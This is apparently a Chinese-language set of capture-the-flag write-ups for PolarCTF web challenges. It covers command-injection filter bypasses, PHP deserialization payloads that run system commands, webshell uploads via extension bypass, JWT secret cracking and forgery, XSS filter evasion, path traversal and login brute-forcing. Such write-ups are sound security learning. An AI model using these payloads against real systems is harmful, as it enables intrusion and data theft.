1. 简单Rce
看到题目代码过滤了一些关键字符cat tac 和system都被过滤了,不能再去使用。但是可以利用vi命令进行读取flag
执行外部命令函数:system()、passthru()、exec()
2. seek flag
进入题目找找flag。在cookie中将id改成1,得到了第一段flag
在其get请求包中看到第二段flag
dirsearch进行目录扫描,看到有一个robots.txt,访问后得到第三段flag
3. jwt
进入是一个登录界面,先登录再注册,进入主页后并未得到有用信息
抓包后看到一个hint:flag-is-admin-password,得知username为admin
先注册一个新用户,注册成功就去登录
抓包看到JWT,拿去解密,需要对称密钥,在kali中利用jwt-cracker进行爆破解密,解密后得知其密钥为SASY
./jwtcrack
进行解密,将jwt中的代码解码然后更换username和对称密钥,然后再进行编码,将重新编码后的代码进行更换,发包,得到falg
4. $$
$GLOBALS:用于访问所有全局变量(来自全局范围的变量),即可以从PHP脚本中的任何范围访问的变量。
5. XFF
抓包修改X-Farded-For:1.1.1.1,然后发送看到flag
6. GET-POST
先传id
再传post
7. 被黑掉的站
在页面中并无得到有用信息
在kali中利用dirsearch -u 网址,扫描出两个成功发送的包,index.php.bak shell.php
访问index.php.bak,得到一个像是密码字典的文件
访问shell.php,看到一个登录框,和前面给的刚好呼应上了
利用bp进行弱口令爆破
完成后得到登陆密码(nikel),登录后成功得到flag
8. rce1
?ip=127.0.0.1|ls
空格被过滤了,用${IFS}进行绕过
?id=127.0.0.1|cat${IFS}fllllaaag.php
查看网页源代码得到flag
9. 签到题
发现提交按钮不可以提交,然后修改前端的提交值
随便输入123,然后提示提交ilovejljcxy就可以得到flag
再次修改然后输入ilovejljcxy,发现有字数限制,再修改字数限制
最后得到flag
10. upload
查看网页源代码,看到?action=show_code,访问后看到php等许多文件后缀被过滤了
选择一句话木马图片上传
利用bp抓包,将文件后缀名利用双写绕过改成php后缀,发送请求,成功更换
利用蚁剑进行连接,成功看到flag
11. 机器人
利用Kali中dirsearch进行扫描,查到了一个/robots.txt文件
访问后看到flag,但发现只有一半,尝试提交果然不对
Disallow是一个目录,尝试访问但访问不了
利用dirsearch扫描看到了/27f5e15b6af3223f1176293cd015771d/flag.php文件
访问后看到flag后半段,前后两段拼在一起得到flag
12. 干正则
参数为id,包含flag.php文件
flag .php 被过滤
pyload:?id=a[0]=www.polarctf.com&cmd=|ls;
pyload:?id=a[0]=www.polarctf.com&cmd=|cat `ls`; 查看源代码后看到flag
13. 覆盖
代码说用GET传参(id),需要a[0]=www.polarctf.com
$ip = $_get['cmd'] 获取名为cmd的 GET 参数值,并赋给变量$ip
?id=a[0]=www.polarctf.com&cmd=;cat fla*
14. debudao
查看网页源代码看到一个flag,提交后是错误的
最后在cookie中找到真的flag
15. 审计
在url中输入?xxs=240610708,md50e绕过
16. 井字棋
在控制台中输入declareWinner("您赢了"!);然后弹窗弹出flag
17. button
出现一个“点击我"的按钮,但是并不能点击到
查看了一下网页源代码,看到一个js文件,说要点击好多9999次,很显然这是不可能的,看到下面看有一个方法查看 flag,访问proxy.php?file=flag,访问后是空白页面,查看网页源代码看到flag
18. 来个弹窗
利用:<script>alert('xss')</script>正常提交,但并没有显示,可能被过滤了
利用双写绕过<script>alert('xss')</sscript>,攻击成功
得到一副图片,说flag就是该人物名称MD5加密,上网查找后用MD5加密得到flag
19. php very nice
php反序列化
当PHP脚本执行完毕或对象被销毁时,_destruct() 自动执行
如果$sys是恶意代码就会被执行
构造php代码
设置要执行的系统命令
创建Example对象
序列化对象并输出
payload:?a=O:7:"Example":1:{s:3:"sys";s:13:"system('ls');";}
出现两个目录
利用php伪协议读取一下(?)
payload:O:7:"Example":1:{s:3:"sys";s:69:"include('php://filter/read=convert.base64-encode/resource=flag.php');";}
解码得到flag
20. 狗黑子的RCE
过滤了很多命令和符号
有两个参数gouheizi1和gouheizi2
原始输入中的 'gouheizi' 会被移除
如果 POST gouheizi2=ggouheiziouheizihi,处理后变成 ghi,不等于 "gouheizi"
要使处理后等于 "gouheizi",原始输入必须是 "gouheizi"(因为移除 'gouheizi' 后为空)或其他包含 'gouheizi' 的组合
payload如下,过滤字符用l\s进行过滤,执行后再根目录下看到flag.php查看php文件
c\at /fl\ag.php
21. 命运石之门
登录框α线,随便试试,不行,还看不到验证码
查看网页源代码,得到一串编码,解码说验证码是否好使不重要
目录扫描,扫到个password.txt文件,这就应该是爆破了
然后爆破出密码是hunangleiSAMA0712,成功到达第二个β线
接着爆破,得到密码huan9le1Sam0,得到flag
22. rce命令执行系统
尝试输入命令,但貌似都被过滤了,都不能进行正常的输出
看看环境变量是否可以输出,尝试输入env,能成功输出,看到有flag,但是它是个假的
进行目录扫描,扫到一个flag.txt文件,访问看到了提示
txt > php,l > 1,这像是让我们将文件名称进行改变一下,改变一下进行访问
得到另一个提示,要给XOR_KEY进行传参
?XOR_KEY=Polar,成功执行,得到真正的flag
23. uploader
<?php $sandBox = md5($_SERVER['REMOTE_ADDR']);//生成专属目录名:获取访问者的IP地址,并用MD5加密 if(!is_dir($sandBox)){ mkdir($sandBox,0755,true);//要创建的目录名,目录权限0755,true表示允许递归创建 if($_FILES){//判断是否上传文件 move_uploaded_file($_FILES['file']['tmp_name'],$sandBox."/".$_FILES["file"]["name"])// $_FILES['file']['tmp_name']:PHP自动保存的上传文件临时路径 echo "上传文件名: " . $_FILES["file"]["name"] . "<br>"; echo "文件类型: " . $_FILES["file"]["type"] . "<br>"; echo "文件大小: " . ($_FILES["file"]["size"] / 1024) . " kB<br>"; echo $sandBox; } highlight_file(__FILE__);$sandBox."/".$_FILES["file"]["name"]:目标路径(专属目录 + 原文件名),这个很重要!!
只给出了上传的代码,没有上传的方式,需要自己写一个上传的html页面
上传一句话木马的php文件,之后进行访问,记得加上专属目录名(用md5加密的访问者的IP地址)。然后进行命令执行
<!DOCTYPE html> <html> <body> <form action="http://70c5aad8-a20c-4181-80c0-8bd102f6233c.www.polarctf.com:8090/" enctype="multipart/form-data" method="post" > <input name="file" type="file" /> <input type="submit" type="submit" /> </form> </body> </html>24. bllbl_ser1
题目给了一串反序列化代码
<?php class bllbl { public $qiang;//我的强 function __destruct(){ $this->bllliang(); } function bllliang(){ $this->qiang->close(); } } class bllnbnl{ public $er;//我的儿 function close(){ eval($this->er); } } if(isset($_GET['blljl'])){ $user_data=unserialize($_GET['blljl']); } ?>一共就两个类,构造一下代码
<?php class bllbl{ public $qiang; } class bllnbnl{ public $er; } $a=new bllbl(); $b=new bllnbnl(); $a->qiang=$b; $b->er='system("ls /");'; echo serialize($a); ?>25. 1ncIud3
在该题目中,当你传入../时,会将其转换成空
当 PHP 把这个路径传给操作系统时,系统会按上面的规则规范化,最终变成 ../../test.php,实现了目录穿越。PHP 拼接路径后传给系统,系统规范化路径传入的内容就会变成../../../../f1a9,从而成功读取
26. 投喂
27. 简单的导航站
网页源代码中得到密码
注册,登陆下
产看用户列表,有代码,用数组进行绕过,得到用户名字符串,需要爆破(在文件管理中的登录框进行爆破)
得到账号为P0la2adm1n,登陆进去是一个上传页面,没有过滤,直接上传php的木马文件,然后蚁剑进行连接
上传路径为/uploads/上传的文件名
看到很多flag
在flag验证框中进行flag验证,爆破
28. background
d和p一个表示执行的命令,一个表示执行的语句,然后是要用POST方法去获取change_background.php文件
payload:d=cat&p=/flag
29. 俄罗斯方块
要是直接玩也是可以的,就是耗时太久了
直接在控制台进行分数修改,让score=10,然后玩一把就可以得到提示,但是这个提示就是一串文字
又查看js代码看到有一个获取文件,get_squirrt1e.php,访问后就可以得到flag
30. 代码审计easy
<?php $page = 'hello.php'; if (isset($_GET['page'])) { $page = $_GET['page']; } $base_dir = __DIR__ . '/pages/'; $target = $base_dir . $page; if (preg_match('/https?:\/\//i', $page)) { echo "远程 URL 不允许呦。"; exit; } if (file_exists($target)) { $content = file_get_contents($target); echo "<pre>" . htmlspecialchars($content, ENT_QUOTES|ENT_SUBSTITUTE, 'UTF-8') . "</pre>"; } else { if (@file_exists($page)) { $content = file_get_contents($page); echo "<pre>" . htmlspecialchars($content, ENT_QUOTES|ENT_SUBSTITUTE, 'UTF-8') . "</pre>"; } else { echo "No!: " . htmlspecialchars($page); } }这题flag在根目录
31. VIP
抓包,修改vipStatus的值,no修改成yes
32. white
是一个命令执行的界面
ls pwd whoami date echo base64 sh命令包含不允许的内容,匹配模式: /[;&`$\'\"<>?*[\]{}()#@!%]/禁止危险函数(如 system、eval、tac、cat 等)命令包含不允许的内容,匹配模式: /\b(etc|proc|dev|bin|sbin|usr|home|flag)\b/i在过滤的命令中没有过滤管道符(|),这是可以利用的一个点。管道符拼接
echo bHM= 输出字符串 bHM=(这是 ls 的 Base64 编码结果)
base64 -d 对输入的 Base64 字符串解码(bHM= 解码后得到 ls)
sh 调用 Shell 执行输入的命令(即执行 ls,列出当前目录文件
也可以用反斜杠\来进行绕过flag关键字的过滤
33. help
直接查找js文件就可以了
34. cookie欺骗2.0
登录成功然后抓包,修改user,发包,认证失败。那可能后面的值也要修改
hfrel拿去解码,发现时rot13加密,结果是user1。同样将admin进行rot13加密,替换上去,发包得到flag